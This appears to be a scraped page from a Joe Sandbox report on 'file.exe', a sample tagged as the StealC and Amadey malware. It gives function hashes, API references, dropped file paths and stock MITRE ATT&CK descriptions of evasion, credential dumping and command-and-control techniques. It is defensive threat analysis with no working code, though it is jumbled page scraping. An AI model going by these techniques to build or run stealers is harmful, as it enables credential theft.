Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 4a29840dedecd8dd1794b25db21a374fc5b65b0ea1267ae3e8bf877c6bef0964
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: CB313071A00624AFDB24CF59CCC0AAA77B9EB94358B148579FA498BF14D731E9448BA0

Function 6C9526B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9526C1
free.MOZGLUE(?), ref: 6C9526E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9526FF
free.MOZGLUE ref: 6C95270D

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: fec63637dee2e6f919ee7b022fd6008db3583d01aec9b3700e8747fa729be7bb
Instruction ID: 96319417cf18783fc2aba9b73aaaeb97540d962c7fba5aba11bccf4787dccd87
Opcode Fuzzy Hash: fec63637dee2e6f919ee7b022fd6008db3583d01aec9b3700e8747fa729be7bb
Instruction Fuzzy Hash: FFF0CDB27026016BEB00DF18E884D5B73ADFF5125CBA40535EA16D7B01E731F929C692

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AECAKECA

C:\ProgramData\CBFBGCGI

C:\ProgramData\CGDHDHJEBGHJKFIECBGCBGCAFI

C:\ProgramData\DHCBGDHIEBFHCBFHDHDHJKFCBA

C:\ProgramData\DHCGIDHDAKJECBFHCBAA

C:\ProgramData\GIEBFHCAKFBGDHIDHIDB

C:\ProgramData\KFCFIEHCFIECBGCBFHIJ

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre